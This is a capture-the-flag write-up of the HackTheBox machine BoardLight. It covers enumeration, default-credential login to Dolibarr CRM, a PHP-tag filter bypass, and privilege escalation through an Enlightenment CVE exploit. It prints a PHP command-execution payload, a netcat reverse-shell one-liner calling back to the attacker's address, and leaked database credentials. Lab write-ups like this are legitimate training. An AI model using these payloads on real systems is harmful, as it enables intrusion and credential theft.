# BoardLight

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FRwkwQwPrdmNa1oac6jIf%2FBoardLight.png?alt=media&#x26;token=5513aaa1-15e5-4a8d-9255-7ecdcc7566dc" alt=""><figcaption></figcaption></figure>

## &#x20;Enumeration

```bash
nmap -v -A -O -p- -Pn boardlight.htb -oN nmap
```

```bash
Nmap scan report for boardlight.htb (10.10.11.11)
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/7%OT=22%CT=1%CU=38364%PV=Y%DS=2%DC=T%G=Y%TM=66631
OS:D7C%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=101%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Uptime guess: 0.076 days (since Fri Jun  7 14:58:20 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT      ADDRESS
1   51.51 ms 10.10.14.1
2   51.85 ms boardlight.htb (10.10.11.11)

NSE: Script Post-scanning.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.35 seconds
           Raw packets sent: 65723 (2.896MB) | Rcvd: 66121 (2.754MB)

```

### Port 80

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FCwP09qvIGROCJUi53cTr%2Fimage.png?alt=media&#x26;token=337cdad3-a107-497e-8767-e4313994900c" alt=""><figcaption></figcaption></figure>

It appears to be a simple showcase site, and even a directory scan with `ffuf` returns nothing.

Trying to scan vhosts always with ffuf we get nothing. This is very strange... 🤔

Let's go back to the homepage and see if we can extract additional information such as employees, additional domain names, etc.

In the footer we see that the domain name is not `boardlight.htb` but `board.htb`:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FTnf8oqcAFgIPX0MiRAav%2Fimage.png?alt=media&#x26;token=e87f9782-2579-4b10-93a3-8fa39bf506a1" alt=""><figcaption></figcaption></figure>

At this point trying to run a new scan of possible vhosts immediately ffuf returns something super interesting:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FXw0X4fA7iSFxokG66g5P%2Fimage.png?alt=media&#x26;token=8e03740d-e347-49be-b635-62c1cf2d2742" alt=""><figcaption></figcaption></figure>

Adding `crm.board.htb` to /etc/hosts and visiting the URL we will reach a login page :thumbsup:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FDvSHftgcIsin6MyJiyZT%2Fimage.png?alt=media&#x26;token=0e521b57-b157-4ce8-b132-34429f779644" alt=""><figcaption></figcaption></figure>

This is the login page of Dolibarr ERP/CRM which is an Open source modular software that suits small and medium-sized enterprises (SMEs), foundations and freelancers.

## Foothold

Trying `admin:admin` credentials we can enter in a sort of restricted area of CRM:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FCRGXeoz1SYsb3cfMxmvQ%2Fimage.png?alt=media&#x26;token=b0a38e2f-da5b-413f-9b89-ee8039852b72" alt=""><figcaption></figcaption></figure>

But is still possible to create website and under each website a test page. In fact, if we create a new website and create a blank page with some HTML code this will be visible from the browser:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fw06Du8JgyKp8lrsGIzgg%2Fimage.png?alt=media&#x26;token=31f0cdaa-69f0-4c37-82bb-0f25f9634f27" alt=""><figcaption></figcaption></figure>

By clicking on the preview symbol to the right of the page :binocul or by reaching the correctly set URL, the created page can be viewed:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F5sCQXCWfq1oxDcX8FZjA%2Fimage.png?alt=media&#x26;token=71ec3ef4-d072-4dd7-b509-c1cd8dec0555" alt=""><figcaption></figcaption></figure>

The juiciest and most interesting thing of all though is that it is possible to create pages with dynamic content in other words with PHP code that could get us a reverse shell.&#x20;

But if we try to enter some PHP code using the classic tag we obtain the following error:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FajB0oqEJcCMTxz7wx3XR%2Fimage.png?alt=media&#x26;token=6240ea29-7744-4a63-9d54-9e04dfae242e" alt=""><figcaption></figcaption></figure>

The good news, however, is that there is a vulnerability that allow us to easily bypass this restriction and the reference is this one:

{% embed url="<https://www.swascan.com/it/security-advisory-dolibarr-17-0-0/>" %}

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fwcidd6uLjTCzC7asahse%2Fimage.png?alt=media&#x26;token=e118fd11-b40a-4c5f-968e-6d00f8fb0738" alt=""><figcaption></figcaption></figure>

Easy Peasy! :wave:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FcTi1X0fcJGrByevOLQ1y%2Fimage.png?alt=media&#x26;token=fa99f913-6c49-46f2-bb52-b033cabab53e" alt=""><figcaption></figcaption></figure>

This is the payload used to exec some shell commands on backend:

```php
<?PHP $output = shell_exec('which python');echo "<pre>$output</pre>";?> 

```

List files in the current working directory:&#x20;

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fp96a9wK4d27K2vathIkW%2Fimage.png?alt=media&#x26;token=0ebe48cb-2a48-4d84-a18c-9bdab103d9bb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FVvXdH182lSzWlYSs6d9j%2Fimage.png?alt=media&#x26;token=545a7a7d-de23-48e6-91c4-3476ce3ba09b" alt=""><figcaption></figcaption></figure>

We can list the users on the machine and we will find larissa:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FfGvWF4Xpupqz2z2CpyV7%2Fimage.png?alt=media&#x26;token=9a118d25-9926-4407-bbd8-abc1a31a294f" alt=""><figcaption></figcaption></figure>

Verify if some useful binaries exists:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FL5cDKAZJKGvf8YXqMuZh%2Fimage.png?alt=media&#x26;token=6534745e-8efd-474e-b4aa-f889da7932ca" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FWtkm8ckOny9bAjoKDsma%2Fimage.png?alt=media&#x26;token=3ff62196-863d-45ce-96ea-9c58b9e55a3f" alt=""><figcaption></figcaption></figure>

after several attempts we finally find the reverse shell working and get a session in pwncat:

```php
<?PHP system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.101 9999 >/tmp/f");?>
```

Googling (<https://wiki.dolibarr.org/index.php?title=Configuration_file>) we find that Dollibarr's configuration file is in `conf/conf.php` as shown in the figure:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FEkwQxOo6BC82hFdKjA83%2Fimage.png?alt=media&#x26;token=017206d9-d13a-49dc-bacf-33ed0bf4411f" alt=""><figcaption></figcaption></figure>

And the first credential set appear magically :magic\_wand::

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FH4xmej2nAeLDGFZ303kV%2Fimage.png?alt=media&#x26;token=23ef5d43-5d8c-408f-a006-e918b1d4d217" alt=""><figcaption></figcaption></figure>

`dolibarrowner` <--> `serverfun2$2023!!`

## Privilege Escalation (user)

The first idea was to enumerate further by checking for other users within the MySQL database:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FL89FEvwZsxQgZlAH7AfG%2Fimage.png?alt=media&#x26;token=09077ff0-2451-49f8-aa00-d8752db59731" alt=""><figcaption></figcaption></figure>

With `show tables;` we can list the tables present in this database:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F5p8xgxLwTuXTDZIffvGR%2Fimage.png?alt=media&#x26;token=ae6ccdcc-9d25-4e60-a918-90d2a74dc4f8" alt=""><figcaption></figcaption></figure>

`llx_user` is the most interesting table but difficult to read using the reverse shell:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F7Zx5qgrsupGnXCQhNuxB%2Fimage.png?alt=media&#x26;token=c0594a9d-cb09-462e-8a16-6f14f277d3e3" alt=""><figcaption></figcaption></figure>

If we copy this output to a mysql editor formatter like this one we can easily read the password hashes and users:

{% embed url="<https://www.dpriver.com/pp/sqlformat.htm>" %}

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FUro5RjRzaietftGJOQO3%2Fimage.png?alt=media&#x26;token=60509c08-59f0-490b-8af1-6934c29915ae" alt=""><figcaption></figcaption></figure>

```
dolibarr $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm
```

It's a Blowfish hash type:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Ffhe6Tk7IA0gK3queZ4uj%2Fimage.png?alt=media&#x26;token=8670d557-89c7-4a1c-a97b-990b11adc706" alt=""><figcaption></figcaption></figure>

Try to crack it using Hashcat is a fail :no\_entry:

Instead if we simply try to SSH with this password as `larissa` user  enumerated before we obtain the user flag:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FsGxc2NCOp95qfnXEiBY7%2Fimage.png?alt=media&#x26;token=6c0c37be-7a5d-4df9-8799-164b5ffb9923" alt=""><figcaption></figcaption></figure>

## Privilege Escalation (root)

Download `linpeas.sh` under `/tmp` and start it:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FrHNsHy8m0kVglCR0XGza%2Fimage.png?alt=media&#x26;token=6768b1e0-c623-4d15-be64-e3668b347762" alt=""><figcaption></figcaption></figure>

After trying several different avenues (from port 33060 open only in localhost to the different CVEs listed but not compatible with the Ubuntu Focal 21.04 version of the machine) and many hours of reviewing linpeas output came <mark style="color:yellow;">**enlightenment**</mark>! :bulb:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F1PPGorg0R3Lo0ZnDhqUv%2Fimage.png?alt=media&#x26;token=bcf5606a-9f44-4d82-bbc6-a78c1f4b5a25" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/tree/main>" %}

{% hint style="info" %}
Enlightenment is a Window Manager, Compositor and Minimal Desktop for Linux (the primary platform), BSD and any other compatible UNIX system.
{% endhint %}

Using the exploit found on GitHub we can obtain the root flag :tada:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FxIl1IllCBNXeLJLcEBrV%2Fimage.png?alt=media&#x26;token=58e47838-d970-4f52-b686-18c5e4cdad28" alt=""><figcaption></figcaption></figure>
